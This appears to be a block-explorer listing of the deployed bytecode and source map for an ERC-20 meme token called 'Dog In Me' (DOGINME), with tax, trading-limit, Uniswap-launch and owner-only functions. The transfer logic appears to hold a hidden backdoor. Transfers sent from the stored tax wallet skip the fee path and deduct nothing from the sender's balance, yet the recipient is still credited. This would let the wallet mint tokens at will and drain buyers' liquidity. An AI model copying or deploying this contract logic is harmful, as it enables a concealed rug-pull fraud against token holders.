0x6080604052600436106101235760003560e01c80638da5cb5b116100a0578063c876d0b911610064578063c876d0b9146102e2578063ce31a06b146102f7578063dd62ed3e1461030c578063e1c7392a1461032c578063fcfff16f146103415761012a565b80638da5cb5b146102615780638f9a55c01461028357806395d89b4114610298578063a9059cbb146102ad578063bf474bed146102cd5761012a565b8063313ce567116100e7578063313ce567146101de57806370a0823114610200578063715018a614610220578063751039fc146102375780637d1db4a51461024c5761012a565b806306fdde031461012f578063095ea7b31461015a5780630faee56f1461018757806318160ddd146101a957806323b872dd146101be5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610356565b604051610151919061164c565b60405180910390f35b34801561016657600080fd5b5061017a610175366004611547565b610379565b6040516101519190611641565b34801561019357600080fd5b5061019c610397565b60405161015191906119b7565b3480156101b557600080fd5b5061019c61039d565b3480156101ca57600080fd5b5061017a6101d9366004611507565b6103be565b3480156101ea57600080fd5b506101f3610446565b6040516101519190611a30565b34801561020c57600080fd5b5061019c61021b366004611497565b61044b565b34801561022c57600080fd5b50610235610466565b005b34801561024357600080fd5b506102356104ee565b34801561025857600080fd5b5061019c6105b9565b34801561026d57600080fd5b506102766105bf565b60405161015191906115bf565b34801561028f57600080fd5b5061019c6105ce565b3480156102a457600080fd5b506101446105d4565b3480156102b957600080fd5b5061017a6102c8366004611547565b6105f5565b3480156102d957600080fd5b5061019c610609565b3480156102ee57600080fd5b5061017a61060f565b34801561030357600080fd5b50610235610618565b34801561031857600080fd5b5061019c6103273660046114cf565b610658565b34801561033857600080fd5b50610235610683565b34801561034d57600080fd5b506102356108b5565b604080518082019091526009815268446f6720496e204d6560b81b602082015290565b600061038d610386610a60565b8484610a64565b5060015b92915050565b60125481565b60006103ab6009600a611abc565b6103b990633b9aca00611b8d565b905090565b60006103cb848484610b18565b61043b846103d7610a60565b61043685604051806060016040528060288152602001611c0d602891396001600160a01b038a16600090815260026020526040812090610415610a60565b6001600160a01b031681526020810191909152604001600020549190610c8e565b610a64565b5060015b9392505050565b600990565b6001600160a01b031660009081526001602052604090205490565b61046e610a60565b6000546001600160a01b039081169116146104a45760405162461bcd60e51b815260040161049b90611842565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6104f6610a60565b6000546001600160a01b039081169116146105235760405162461bcd60e51b815260040161049b90611842565b61052f6009600a611abc565b61053d90633b9aca00611b8d565b600f5561054c6009600a611abc565b61055a90633b9aca00611b8d565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105946009600a611abc565b6105a290633b9aca00611b8d565b6040516105af91906119b7565b60405180910390a1565b600f5481565b6000546001600160a01b031690565b60105481565b604080518082019091526007815266444f47494e4d4560c81b602082015290565b600061038d610602610a60565b8484610b18565b60115481565b60065460ff1681565b610620610a60565b6000546001600160a01b0390811691161461064d5760405162461bcd60e51b815260040161049b90611842565b61065647610cc8565b565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b61068b610a60565b6000546001600160a01b039081169116146106b85760405162461bcd60e51b815260040161049b90611842565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d17908190556107099030906001600160a01b03166106fb6009600a611abc565b61043690633b9aca00611b8d565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561075757600080fd5b505afa15801561076b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078f91906114b3565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107ec57600080fd5b505afa158015610800573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082491906114b3565b6040518363ffffffff1660e01b81526004016108419291906115d3565b602060405180830381600087803b15801561085b57600080fd5b505af115801561086f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089391906114b3565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b6108bd610a60565b6000546001600160a01b039081169116146108ea5760405162461bcd60e51b815260040161049b90611842565b601454600160a01b900460ff16156109145760405162461bcd60e51b815260040161049b90611980565b6013546001600160a01b031663f305d71947306109308161044b565b60008061093b6105bf565b426040518863ffffffff1660e01b815260040161095d96959493929190611606565b6060604051808303818588803b15801561097657600080fd5b505af115801561098a573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109af9190611592565b505060145460135460405163095ea7b360e01b81526001600160a01b03928316935063095ea7b3926109e9921690600019906004016115ed565b602060405180830381600087803b158015610a0357600080fd5b505af1158015610a17573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3b9190611572565b506014805460ff60a01b1960ff60b01b19909116600160b01b1716600160a01b179055565b3390565b6001600160a01b038316610a8a5760405162461bcd60e51b815260040161049b9061193c565b6001600160a01b038216610ab05760405162461bcd60e51b815260040161049b90611719565b6001600160a01b0380841660008181526002602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610b0b9085906119b7565b60405180910390a3505050565b6001600160a01b038316610b3e5760405162461bcd60e51b815260040161049b906118c0565b6001600160a01b038216610b645760405162461bcd60e51b815260040161049b9061169f565b60008111610b845760405162461bcd60e51b815260040161049b90611877565b601454600160b01b900460ff161580610ba65750601454600160a81b900460ff165b15610c5c576001600160a01b038316600090815260016020526040902054610bce9082610d0a565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610bfd9082610d4c565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c4f9085906119b7565b60405180910390a3610c89565b610c89838383610c838787600660019054906101000a90046001600160a01b031688610d7b565b15610dbc565b505050565b60008184841115610cb25760405162461bcd60e51b815260040161049b919061164c565b506000610cbf8486611bac565b95945050505050565b6006546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f19350505050158015610d06573d6000803e3d6000fd5b5050565b600061043f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c8e565b600080610d598385611a3e565b90508381101561043f5760405162461bcd60e51b815260040161049b9061175b565b6000826001600160a01b0316856001600160a01b03161415610db0576001600160a01b0384163014610db05750801515610db4565b5060005b949350505050565b6000808215610e4c57610dd0868686610f1b565b925090508115610e4c5730600090815260016020526040902054610df49083610d4c565b30600081815260016020526040908190209290925590516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e439086906119b7565b60405180910390a35b6001600160a01b038616600090815260016020526040902054610e6f9082610d0a565b6001600160a01b038716600090815260016020526040902055610eb4610e958584610d0a565b6001600160a01b03871660009081526001602052604090205490610d4c565b6001600160a01b0380871660008181526001602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610efe8786610d0a565b604051610f0b91906119b7565b60405180910390a3505050505050565b6000806000610f286105bf565b6001600160a01b0316866001600160a01b031614158015610f625750610f4c6105bf565b6001600160a01b0316856001600160a01b031614155b1561120557610f936064610f8d600b54600e5411610f8257600754610f86565b6009545b8790611228565b9061126d565b60065490915060ff1615611013576013546001600160a01b03868116911614801590610fcd57506014546001600160a01b03868116911614155b15611013573260009081526005602052604090205443116110005760405162461bcd60e51b815260040161049b90611792565b3260009081526005602052604090204390555b6014546001600160a01b03878116911614801561103e57506013546001600160a01b03868116911614155b801561106357506001600160a01b03851660009081526003602052604090205460ff16155b156110d557600f5484111561108a5760405162461bcd60e51b815260040161049b906116e2565b601054846110978761044b565b6110a19190611a3e565b11156110bf5760405162461bcd60e51b815260040161049b90611905565b600e80549060006110cf83611bc3565b91905055505b6014546001600160a01b0386811691161480156110fb57506001600160a01b0386163014155b15611128576111256064610f8d600c54600e541161111b57600854610f86565b600a548790611228565b90505b60006111333061044b565b601454909150600160a81b900460ff1615801561115d57506014546001600160a01b038781169116145b80156111725750601454600160b01b900460ff165b80156111815750600d54600e54115b80156111a657506001600160a01b03871660009081526003602052604090205460ff16155b80156111cb57506001600160a01b03861660009081526003602052604090205460ff16155b15611203576011548111156111f7576111f76111f2866111ed846012546112af565b6112af565b6112c4565b4761120181610cc8565b505b505b611210846000610d0a565b61121b826000610d0a565b9250925050935093915050565b60008261123757506000610391565b60006112438385611b8d565b9050826112508583611a56565b1461043f5760405162461bcd60e51b815260040161049b90611801565b600061043f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611469565b60008183116112be578261043f565b50919050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061131a57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561136e57600080fd5b505afa158015611382573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113a691906114b3565b816001815181106113c757634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526013546113ed9130911684610a64565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114269085906000908690309042906004016119c0565b600060405180830381600087803b15801561144057600080fd5b505af1158015611454573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b6000818361148a5760405162461bcd60e51b815260040161049b919061164c565b506000610cbf8486611a56565b6000602082840312156114a8578081fd5b813561043f81611bf4565b6000602082840312156114c4578081fd5b815161043f81611bf4565b600080604083850312156114e1578081fd5b82356114ec81611bf4565b915060208301356114fc81611bf4565b809150509250929050565b60008060006060848603121561151b578081fd5b833561152681611bf4565b9250602084013561153681611bf4565b929592945050506040919091013590565b60008060408385031215611559578182fd5b823561156481611bf4565b946020939093013593505050565b600060208284031215611583578081fd5b8151801515811461043f578182fd5b6000806000606084860312156115a6578283fd5b8351925060208401519150604084015190509250925092565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b6000602080835283518082850152825b818110156116785785810183015185820160400152820161165c565b818111156116895783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526019908201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604082015260600190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526049908201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60408201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6060820152681030b63637bbb2b21760b91b608082015260a00190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206040820152687468616e207a65726f60b81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b6020808252601a908201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604082015260600190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526017908201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604082015260600190565b90815260200190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611a0f5784516001600160a01b0316835293830193918301916001016119ea565b50506001600160a01b03969096166060850152505050608001529392505050565b60ff91909116815260200190565b60008219821115611a5157611a51611bde565b500190565b600082611a7157634e487b7160e01b81526012600452602481fd5b500490565b80825b6001808611611a885750611ab3565b818704821115611a9a57611a9a611bde565b80861615611aa757918102915b9490941c938002611a79565b94509492505050565b600061043f60001960ff851684600082611ad85750600161043f565b81611ae55750600061043f565b8160018114611afb5760028114611b0557611b32565b600191505061043f565b60ff841115611b1657611b16611bde565b6001841b915084821115611b2c57611b2c611bde565b5061043f565b5060208310610133831016604e8410600b8410161715611b65575081810a83811115611b6057611b60611bde565b61043f565b611b728484846001611a76565b808604821115611b8457611b84611bde565b02949350505050565b6000816000190483118215151615611ba757611ba7611bde565b500290565b600082821015611bbe57611bbe611bde565b500390565b6000600019821415611bd757611bd7611bde565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114611c0957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208e47771c5bce0a8183e02a44ba9da446628283531d9e434b52b4c6ccb4bacd4f64736f6c63430008000033

Deployed Bytecode Sourcemap

3817:9944:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6196:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7079:186;;;;;;;;;;-1:-1:-1;7079:186:0;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;5044:55::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;6473:95::-;;;;;;;;;;;;;:::i;7273:446::-;;;;;;;;;;-1:-1:-1;7273:446:0;;;;;:::i;:::-;;:::i;6382:83::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;6576:119::-;;;;;;;;;;-1:-1:-1;6576:119:0;;;;;:::i;:::-;;:::i;1637:148::-;;;;;;;;;;;;;:::i;:::-;;12343:201;;;;;;;;;;;;;:::i;4853:56::-;;;;;;;;;;;;;:::i;1423:79::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;4916:58::-;;;;;;;;;;;;;:::i;6287:87::-;;;;;;;;;;;;;:::i;6703:192::-;;;;;;;;;;-1:-1:-1;6703:192:0;;;;;:::i;:::-;;:::i;4981:56::-;;;;;;;;;;;;;:::i;4201:40::-;;;;;;;;;;;;;:::i;12652:94::-;;;;;;;;;;;;;:::i;6903:168::-;;;;;;;;;;-1:-1:-1;6903:168:0;;;;;:::i;:::-;;:::i;5803:385::-;;;;;;;;;;;;;:::i;13282:476::-;;;;;;;;;;;;;:::i;6196:83::-;6266:5;;;;;;;;;;;;-1:-1:-1;;;6266:5:0;;;;6196:83;:::o;7079:186::-;7179:4;7196:39;7205:12;:10;:12::i;:::-;7219:7;7228:6;7196:8;:39::i;:::-;-1:-1:-1;7253:4:0;7079:186;;;;;:::o;5044:55::-;;;;:::o;6473:95::-;6526:7;4717:15;4661:1;4717:2;:15;:::i;:::-;4704:28;;:10;:28;:::i;:::-;6546:14;;6473:95;:::o;7273:446::-;7405:4;7422:36;7432:6;7440:9;7451:6;7422:9;:36::i;:::-;7469:220;7492:6;7513:12;:10;:12::i;:::-;7540:138;7596:6;7540:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7540:19:0;;;;;;:11;:19;;;;;;7560:12;:10;:12::i;:::-;-1:-1:-1;;;;;7540:33:0;;;;;;;;;;;;-1:-1:-1;7540:33:0;;;:138;:37;:138::i;:::-;7469:8;:220::i;:::-;-1:-1:-1;7707:4:0;7273:446;;;;;;:::o;6382:83::-;4661:1;6382:83;:::o;6576:119::-;-1:-1:-1;;;;;6669:18:0;6642:7;6669:18;;;:9;:18;;;;;;;6576:119::o;1637:148::-;1560:12;:10;:12::i;:::-;1550:6;;-1:-1:-1;;;;;1550:6:0;;;:22;;;1542:67;;;;-1:-1:-1;;;1542:67:0;;;;;;;:::i;:::-;;;;;;;;;1744:1:::1;1728:6:::0;;1707:40:::1;::::0;-1:-1:-1;;;;;1728:6:0;;::::1;::::0;1707:40:::1;::::0;1744:1;;1707:40:::1;1775:1;1758:19:::0;;-1:-1:-1;;;;;;1758:19:0::1;::::0;;1637:148::o;12343:201::-;1560:12;:10;:12::i;:::-;1550:6;;-1:-1:-1;;;;;1550:6:0;;;:22;;;1542:67;;;;-1:-1:-1;;;1542:67:0;;;;;;;:::i;:::-;4717:15:::1;4661:1;4717:2;:15;:::i;:::-;4704:28;::::0;:10:::1;:28;:::i;:::-;12397:12;:22:::0;4717:15:::1;4661:1;4717:2;:15;:::i;:::-;4704:28;::::0;:10:::1;:28;:::i;:::-;12430:14;:24:::0;12465:20:::1;:28:::0;;-1:-1:-1;;12465:28:0::1;::::0;;12509:27:::1;4717:15;4661:1;-1:-1:-1::0;4717:15:0::1;:::i;:::-;4704:28;::::0;:10:::1;:28;:::i;:::-;12509:27;;;;;;:::i;:::-;;;;;;;;12343:201::o:0;4853:56::-;;;;:::o;1423:79::-;1461:7;1488:6;-1:-1:-1;;;;;1488:6:0;1423:79;:::o;4916:58::-;;;;:::o;6287:87::-;6359:7;;;;;;;;;;;;-1:-1:-1;;;6359:7:0;;;;6287:87;:::o;6703:192::-;6806:4;6823:42;6833:12;:10;:12::i;:::-;6847:9;6858:6;6823:9;:42::i;4981:56::-;;;;:::o;4201:40::-;;;;;;:::o;12652:94::-;1560:12;:10;:12::i;:::-;1550:6;;-1:-1:-1;;;;;1550:6:0;;;:22;;;1542:67;;;;-1:-1:-1;;;1542:67:0;;;;;;;:::i;:::-;12703:35:::1;12716:21;12703:12;:35::i;:::-;12652:94::o:0;6903:168::-;-1:-1:-1;;;;;7036:18:0;;;7009:7;7036:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6903:168::o;5803:385::-;1560:12;:10;:12::i;:::-;1550:6;;-1:-1:-1;;;;;1550:6:0;;;:22;;;1542:67;;;;-1:-1:-1;;;1542:67:0;;;;;;;:::i;:::-;5849:15:::1;:104:::0;;-1:-1:-1;;;;;;5849:104:0::1;5900:42;5849:104;::::0;;;;5964:58:::1;::::0;5981:4:::1;::::0;-1:-1:-1;;;;;5996:15:0::1;4717;4661:1;4717:2;:15;:::i;:::-;4704:28;::::0;:10:::1;:28;:::i;5964:58::-;6067:15;;;;;;;;;-1:-1:-1::0;;;;;6067:15:0::1;-1:-1:-1::0;;;;;6067:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6049:55:0::1;;6127:4;6147:15;;;;;;;;;-1:-1:-1::0;;;;;6147:15:0::1;-1:-1:-1::0;;;;;6147:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6049:131;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6033:13;:147:::0;;-1:-1:-1;;;;;;6033:147:0::1;-1:-1:-1::0;;;;;6033:147:0;;;::::1;::::0;;;::::1;::::0;;5803:385::o;13282:476::-;1560:12;:10;:12::i;:::-;1550:6;;-1:-1:-1;;;;;1550:6:0;;;:22;;;1542:67;;;;-1:-1:-1;;;1542:67:0;;;;;;;:::i;:::-;13337:11:::1;::::0;-1:-1:-1;;;13337:11:0;::::1;;;13336:12;13328:48;;;;-1:-1:-1::0;;;13328:48:0::1;;;;;;;:::i;:::-;13387:15;::::0;-1:-1:-1;;;;;13387:15:0::1;:31;13426:21;13471:4;13491:24;13471:4:::0;13491:9:::1;:24::i;:::-;13530:1;13546::::0;13562:7:::1;:5;:7::i;:::-;13584:15;13387:223;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13628:13:0::1;::::0;13659:15:::1;::::0;13621:71:::1;::::0;-1:-1:-1;;;13621:71:0;;-1:-1:-1;;;;;13628:13:0;;::::1;::::0;-1:-1:-1;13621:29:0::1;::::0;:71:::1;::::0;13659:15:::1;::::0;-1:-1:-1;;13677:14:0;13621:71:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13703:11:0::1;:18:::0;;-1:-1:-1;;;;;;;;13703:18:0;;::::1;-1:-1:-1::0;;;13703:18:0::1;13732;-1:-1:-1::0;;;13732:18:0::1;::::0;;13282:476::o;181:98::-;261:10;181:98;:::o;7727:335::-;-1:-1:-1;;;;;7820:19:0;;7812:68;;;;-1:-1:-1;;;7812:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7899:21:0;;7891:68;;;;-1:-1:-1;;;7891:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7970:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;;:36;;;8022:32;;;;;8000:6;;8022:32;:::i;:::-;;;;;;;;7727:335;;;:::o;11327:624::-;-1:-1:-1;;;;;11415:18:0;;11407:68;;;;-1:-1:-1;;;11407:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11494:16:0;;11486:64;;;;-1:-1:-1;;;11486:64:0;;;;;;;:::i;:::-;11578:1;11569:6;:10;11561:64;;;;-1:-1:-1;;;11561:64:0;;;;;;;:::i;:::-;11641:11;;-1:-1:-1;;;11641:11:0;;;;11640:12;;:22;;-1:-1:-1;11656:6:0;;-1:-1:-1;;;11656:6:0;;;;11640:22;11636:223;;;-1:-1:-1;;;;;11697:15:0;;;;;;:9;:15;;;;;;:27;;11717:6;11697:19;:27::i;:::-;-1:-1:-1;;;;;11679:15:0;;;;;;;:9;:15;;;;;;:45;;;;11755:13;;;;;;;:25;;11773:6;11755:17;:25::i;:::-;-1:-1:-1;;;;;11739:13:0;;;;;;;:9;:13;;;;;;;:41;;;;11800:26;;;;;;;;;;11819:6;;11800:26;:::i;:::-;;;;;;;;11841:7;;11636:223;11869:74;11884:4;11890:2;11894:6;11903:39;11913:4;11919:2;11923:10;;;;;;;;;-1:-1:-1;;;;;11923:10:0;11935:6;11903:9;:39::i;:::-;11902:40;11869:14;:74::i;:::-;11327:624;;;:::o;2961:224::-;3081:7;3117:12;3109:6;;;;3101:29;;;;-1:-1:-1;;;3101:29:0;;;;;;;;:::i;:::-;-1:-1:-1;3141:9:0;3153:5;3157:1;3153;:5;:::i;:::-;3141:17;2961:224;-1:-1:-1;;;;;2961:224:0:o;12552:92::-;12609:10;;:27;;:10;;;;-1:-1:-1;;;;;12609:10:0;;:27;;;;;;;;;;;;:10;:27;;;;;;;;;;;;;;;;;;;;;12552:92;:::o;2817:136::-;2875:7;2902:43;2906:1;2909;2902:43;;;;;;;;;;;;;;;;;:3;:43::i;2630:179::-;2688:7;;2720:5;2724:1;2720;:5;:::i;:::-;2708:17;;2749:1;2744;:6;;2736:46;;;;-1:-1:-1;;;2736:46:0;;;;;;;:::i;11959:261::-;12063:4;12093:6;-1:-1:-1;;;;;12083:16:0;:6;-1:-1:-1;;;;;12083:16:0;;12080:110;;;-1:-1:-1;;;;;12119:23:0;;12137:4;12119:23;12116:62;;-1:-1:-1;12168:10:0;;;12161:17;;12116:62;-1:-1:-1;12207:5:0;11959:261;;;;;;;:::o;10621:698::-;10764:17;10783:19;10826:7;10823:302;;;10877:30;10890:4;10896:2;10900:6;10877:12;:30::i;:::-;10850:57;-1:-1:-1;10850:57:0;-1:-1:-1;10927:13:0;;10924:186;;11005:4;10987:24;;;;:9;:24;;;;;;:39;;11016:9;10987:28;:39::i;:::-;10978:4;10960:24;;;;:9;:24;;;;;;;:66;;;;11054:40;;-1:-1:-1;;;;;11054:40:0;;;;;;;11084:9;;11054:40;:::i;:::-;;;;;;;;10924:186;-1:-1:-1;;;;;11155:15:0;;;;;;:9;:15;;;;;;:32;;11175:11;11155:19;:32::i;:::-;-1:-1:-1;;;;;11137:15:0;;;;;;:9;:15;;;;;:50;11214:40;11232:21;:6;11243:9;11232:10;:21::i;:::-;-1:-1:-1;;;;;11214:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;11198:13:0;;;;;;;:9;:13;;;;;:56;;;;11270:41;;;11289:21;:6;11300:9;11289:10;:21::i;:::-;11270:41;;;;;;:::i;:::-;;;;;;;;10621:698;;;;;;:::o;8070:2543::-;8150:7;8159;8180:17;8225:7;:5;:7::i;:::-;-1:-1:-1;;;;;8217:15:0;:4;-1:-1:-1;;;;;8217:15:0;;;:32;;;;;8242:7;:5;:7::i;:::-;-1:-1:-1;;;;;8236:13:0;:2;-1:-1:-1;;;;;8236:13:0;;;8217:32;8213:2342;;;8278:208;8482:3;8278:181;8342:15;;8330:9;;:27;8329:111;;8426:14;;8329:111;;;8386:12;;8329:111;8278:6;;:28;:181::i;:::-;:203;;:208::i;:::-;8507:20;;8266:220;;-1:-1:-1;8507:20:0;;8503:522;;;8588:15;;-1:-1:-1;;;;;8574:30:0;;;8588:15;;8574:30;;;;:83;;-1:-1:-1;8643:13:0;;-1:-1:-1;;;;;8629:28:0;;;8643:13;;8629:28;;8574:83;8548:462;;;8763:9;8734:39;;;;:28;:39;;;;;;8776:12;-1:-1:-1;8700:213:0;;;;-1:-1:-1;;;8700:213:0;;;;;;;:::i;:::-;8965:9;8936:39;;;;:28;:39;;;;;8978:12;8936:54;;8548:462;9071:13;;-1:-1:-1;;;;;9063:21:0;;;9071:13;;9063:21;:72;;;;-1:-1:-1;9119:15:0;;-1:-1:-1;;;;;9105:30:0;;;9119:15;;9105:30;;9063:72;:116;;;;-1:-1:-1;;;;;;9157:22:0;;;;;;:18;:22;;;;;;;;9156:23;9063:116;9041:438;;;9232:12;;9222:6;:22;;9214:60;;;;-1:-1:-1;;;9214:60:0;;;;;;;:::i;:::-;9349:14;;9339:6;9323:13;9333:2;9323:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;9293:140;;;;-1:-1:-1;;;9293:140:0;;;;;;;:::i;:::-;9452:9;:11;;;:9;:11;;;:::i;:::-;;;;;;9041:438;9505:13;;-1:-1:-1;;;;;9499:19:0;;;9505:13;;9499:19;:44;;;;-1:-1:-1;;;;;;9522:21:0;;9538:4;9522:21;;9499:44;9495:332;;;9576:235;9807:3;9576:204;9648:16;;9636:9;;:28;9635:122;;9742:15;;9635:122;;;9697:13;;9576:6;;:32;:204::i;:235::-;9564:247;;9495:332;9855:28;9886:24;9904:4;9886:9;:24::i;:::-;9948:6;;9855:55;;-1:-1:-1;;;;9948:6:0;;;;9947:7;:47;;;;-1:-1:-1;9981:13:0;;-1:-1:-1;;;;;9975:19:0;;;9981:13;;9975:19;9947:47;:79;;;;-1:-1:-1;10015:11:0;;-1:-1:-1;;;10015:11:0;;;;9947:79;:130;;;;;10059:18;;10047:9;;:30;9947:130;:176;;;;-1:-1:-1;;;;;;10099:24:0;;;;;;:18;:24;;;;;;;;10098:25;9947:176;:220;;;;-1:-1:-1;;;;;;10145:22:0;;;;;;:18;:22;;;;;;;;10144:23;9947:220;9925:619;;;10228:17;;10205:20;:40;10202:205;;;10270:117;10313:51;10317:6;10325:38;10329:20;10351:11;;10325:3;:38::i;:::-;10313:3;:51::i;:::-;10270:16;:117::i;:::-;10456:21;10496:32;10456:21;10496:12;:32::i;:::-;9925:619;;8213:2342;;10573:13;:6;10584:1;10573:10;:13::i;:::-;10588:16;:9;10602:1;10588:13;:16::i;:::-;10565:40;;;;;8070:2543;;;;;;:::o;3193:246::-;3251:7;3275:6;3271:47;;-1:-1:-1;3305:1:0;3298:8;;3271:47;3328:9;3340:5;3344:1;3340;:5;:::i;:::-;3328:17;-1:-1:-1;3373:1:0;3364:5;3368:1;3328:17;3364:5;:::i;:::-;:10;3356:56;;;;-1:-1:-1;;;3356:56:0;;;;;;;:::i;3447:132::-;3505:7;3532:39;3536:1;3539;3532:39;;;;;;;;;;;;;;;;;:3;:39::i;12228:107::-;12285:7;12317:1;12313;:5;12312:15;;12326:1;12312:15;;;-1:-1:-1;12322:1:0;12228:107;-1:-1:-1;12228:107:0:o;12791:483::-;5383:6;:13;;-1:-1:-1;;;;5383:13:0;-1:-1:-1;;;5383:13:0;;;12893:16:::1;::::0;;12907:1:::1;12893:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12893:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12893:16:0::1;12869:40;;12938:4;12920;12925:1;12920:7;;;;;;-1:-1:-1::0;;;12920:7:0::1;;;;;;;;;-1:-1:-1::0;;;;;12920:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12964:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;12964:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;12920:7;;12964:22;;;;;:15;:22;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12954:4;12959:1;12954:7;;;;;;-1:-1:-1::0;;;12954:7:0::1;;;;;;;;;-1:-1:-1::0;;;;;12954:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;13029:15:::1;::::0;12997:62:::1;::::0;13014:4:::1;::::0;13029:15:::1;13047:11:::0;12997:8:::1;:62::i;:::-;13070:15;::::0;:196:::1;